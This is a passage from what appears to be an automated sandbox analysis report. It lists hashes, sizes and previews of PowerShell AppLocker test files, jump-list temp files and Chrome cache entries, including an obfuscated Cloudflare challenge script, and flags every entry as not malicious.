SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myn0voxd.5eb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prl24suv.ztn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0iqqdof.xiq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w322hqhd.pmt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0DCUMHVA3F8COHK91CGJ.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4IO0JB48GH50KGE9OH30.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.740262276537397
Encrypted:	false
SSDEEP:	96:zwm3CEYnkvhkvCCtpsTLcHpiZsTLcHpiO:zwQ8psTLlsTLS
MD5:	D40A53871109AC946B9E0DE70594A383
SHA1:	F0888CC4794F7E9A9D80A434BB2A4D391EAD25DF
SHA-256:	2435BA646353FB690FB11DEC9654E489969D4EA5F03600F8549BB973BD3E9E6C
SHA-512:	326A5A0479D655C3E209A3B1076DF118CAAE098B3E8EAB17E2EE704B068A783E99BC4A1FB4E8676954F005C4727D0195986E80396CD96EDA7A0D4923FD8F7AC5
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf....fLv.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Z[V....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\522UUHUP4G8Y9P3D9OQD.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7413716685469747
Encrypted:	false
SSDEEP:	96:awm3CEYnkvhkvCCtpsTLcHpiZsTLcHpiO:awQ8psTLlsTLS
MD5:	9882A8B8B6650AA3DFFFFBE050DBAC8D
SHA1:	2E128BAA2405CA785F0EC0A688441C47B61D7B2B
SHA-256:	3B71183C31A52EACCF7EBFC3EE9E36ECBA26F36A6B906B527811AE852CE5C9CE
SHA-512:	462C1BB74838F2EAA944C75BA979AA0FC87D4BF88132C0B3E2B35D7B9C188D2C7B657C01225925F9AD12FB2B267923C4A4010252D9AA4FFF97327899C66959EB
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf.....^..........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Z[V....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IYTCJTPHM30BI644DSDL.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7425196838149253
Encrypted:	false
SSDEEP:	96:ywm3CEYnkvhkvCCtpsTLcHpiZsTLcHpiO:ywQ8psTLlsTLS
MD5:	E7EF838DFA56B5352DA3D3FFBF0D7C35
SHA1:	0492C7426C5B975C4AEB125DE42FBFCAC56A6E26
SHA-256:	27A12155672D8A0DF6FEFF95F0CA3D87706542F2BC0F0CF40193F2B273E8ACA5
SHA-512:	20431502FAAE8634A8996E1FADF23F4AA0CF7A594AC2B85ACC6AA70ABE078DF5C351D7EA273B782AFC2E107B832ECF375590235AE5D876C3FBC948B1EE06F719
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......*.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Z[V....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W42N5RY6F14O79SYYWBK.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.740264084354546
Encrypted:	false
SSDEEP:	96:Ewm3CEYnkvhkvCCtpsTLcHpiZsTLcHpiO:EwQ8psTLlsTLS
MD5:	76E28BD76425915BEA307FAEFE7A819B
SHA1:	68DC9B4308A01D8EFFBD0885C56A79021F719CDC
SHA-256:	0A2ABD859C8985FD7EB134FC4FAE07F104A274F21E0E0B2BE3F093288D61B7F8
SHA-512:	D315AE0FCF3B02658764A3EF88802E4D7F1C2361CE60CCCFA0D2715CDF629EE6CFD1B37CB0C7CEA79EE84191C1575DB9097BD041CC86F8AECF8693E7A3E88C86
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf....i.A.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Z[V....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF48352b.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF485dc1.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF488231.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF489869.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7417137536543637
Encrypted:	false
SSDEEP:	96:Bwm3CEonkvhkvCCtpsTLcHpiZsTLcHpiO:BwQMpsTLlsTLS
MD5:	5D5925A3AE6EF39F462AC5FEC244736A
SHA1:	F5DE7AA36DF4FA20BF3362DB6E2A613037C31868
SHA-256:	BF715A557D1E165E01684988061713563DFAA1F2E5EB639735E830F39206C54C
SHA-512:	1AEE60EC024BF6345C6600424538DB4F5BCE2369D61F4A9F7B56FD6E17A58400D8E4DF51E597BDBFA01C96F8BE63BFED2EBBB0357A04A2CBECE1C00B5D124C84
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...a.Hf......C.........t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Z:V...........................^.A.p.p.D.a.t.a...B.V.1......Z<V..Roaming.@......EW<2.Z<V..../......................%..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Z:V....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....gZ.k..Windows.@......EW<2.Z:V....2.....................R.j.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Z:V....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Z:V....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2gZ.j....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10039), with no line terminators
Category:	downloaded
Size (bytes):	10039
Entropy (8bit):	5.755605838494299
Encrypted:	false
SSDEEP:	192:AFOsKXfd9OgI+Y8wVVzmT3/G6mAJCNwlbfhaEthIZae76:AFbKXfd9OgI+YhQ3OdAJCNw3HGZw
MD5:	950C8AEBE2D051890330D60E13E05CE0
SHA1:	20DFA2E3939F02C5AEB3D2A17A2BAD24C035043B
SHA-256:	654D3F9A6361BC5A45335598F1BBD1ADE836DD2189FE1449D04D9C15C93A58CC
SHA-512:	CD8661C9E5322A1A013142342136C5052640FD09E420AA4C9AA3E2EC4CFFA433496619EDC39DB694D496258AA5A2438C2B4AB51AE255D7BA58CBEF1A55DE2E05
Malicious:	false
Reputation:	low
URL:	https://booking.home-extranet.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/f9574c83b4d7/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(K2,X,l,j,E,P,G,h){K2=O,function(Y,W,KG,K1,n,U){for(KG={Y:447,W:452,n:407,U:421,z:388,c:434,y:355,o:426,I:419,v:377},K1=O,n=Y();!![];)try{if(U=parseInt(K1(KG.Y))/1(parseInt(K1(KG.W))/2)+parseInt(K1(KG.n))/3+parseInt(K1(KG.U))/4(parseInt(K1(KG.z))/5)+-parseInt(K1(KG.c))/6+-parseInt(K1(KG.y))/7*(parseInt(K1(KG.o))/8)+parseInt(K1(KG.I))/9+parseInt(K1(KG.v))/10,U===W)break;else n.push(n.shift())}catch(z){n.push(n.shift())}}(K,238131),X=this\|\|self,l=X[K2(433)],j=function(Ku,KU,KH,KJ,Kf,K3,W,n,U){return Ku={Y:364,W:394},KU={Y:370,W:370,n:456,U:370,z:360,c:370,y:408,o:456},KH={Y:405},KJ={Y:371},Kf={Y:405,W:408,n:395,U:448,z:432,c:395,y:448,o:448,I:432,v:371,R:456,i:456,Z:456,S:371,b:370,N:456,V:395,m:432,k:371,s:456,d:370,A:456,L:360},K3=K2,W=String[K3(Ku.Y)],n={'h':function(z,Kp){return Kp={Y:352,W:408},null==z?'':n.g(z,6,function(c,K4){return K4=O,K4(Kp.Y)[K4(Kp.W)](c)})},'g':function(z,y,o,K5,I,R,i,Z,S,N,V,s,A,L,F,Q,M,K0){if(K5=K3,null==z)return'';

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.362289546497363
Encrypted:	false
SSDEEP:	3:Oiyu/sPWiCko+cKYn:OiyNPWhn+cKYn
MD5:	DB16A3A884730390143AE8CC0BD88507
SHA1:	0CC05B8E15567E47472822F73AAF722FB6C85F5E
SHA-256:	15E4F2C166A748B82302E5ABCC79150ED046BB6E9C086007D6ADC64DE5ADC404
SHA-512:	7490590A4D7D62B7C770B2DCC83B73E2C26764F6242E3D651BD722E65CD85AF1638A1A45856DBFD254F63C81EEEB3B3C12629BA57AF0D6114D0066C4AB4F7D75
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIuCY8caSqnmz-AEgUNUopJoxIFDXk4iPcSBQ1qd68KEgUNxtJQRCGzfl1fl8i1_Q==?alt=proto
Preview:	CiQKBw1SikmjGgAKBw15OIj3GgAKBw1qd68KGgAKBw3G0lBEGgA=

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 70 x 65, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	385
Entropy (8bit):	6.017429411072861
Encrypted:	false
SSDEEP:	12:6v/75K9m1d/nTm7nTm7nTm7nTm7nTm7nTm7nTm7nTmdb:ifT/n8n8n8n8n8n8n8nQ
MD5:	37E59E824766837AB737A475B52D6C1A
SHA1:	1324BB0EAD320E01604B2614D415052F5A5B4F17
SHA-256:	3FD435925D75A499A56B094DC9EB35A0AFE70C8241FCD80B7C94F262A7A183B0
SHA-512:	FAAB9C847DB7ACA83B25D2EFAB0D22A9C2434634B48E226F659F253E18D35DC927DFC37CD699EE4F179B46FC498034F700D83FD505135B1F05DF86D9E4FA0FE3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...F...A.....l+.<...HIDATx.....$Y....w...rKc.m.m.m.mi...J..23"..v.jz..;k.r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r...?..h..Y.S.....IEND.B`.

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 70 x 65, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	385
Entropy (8bit):	6.017429411072861
Encrypted:	false
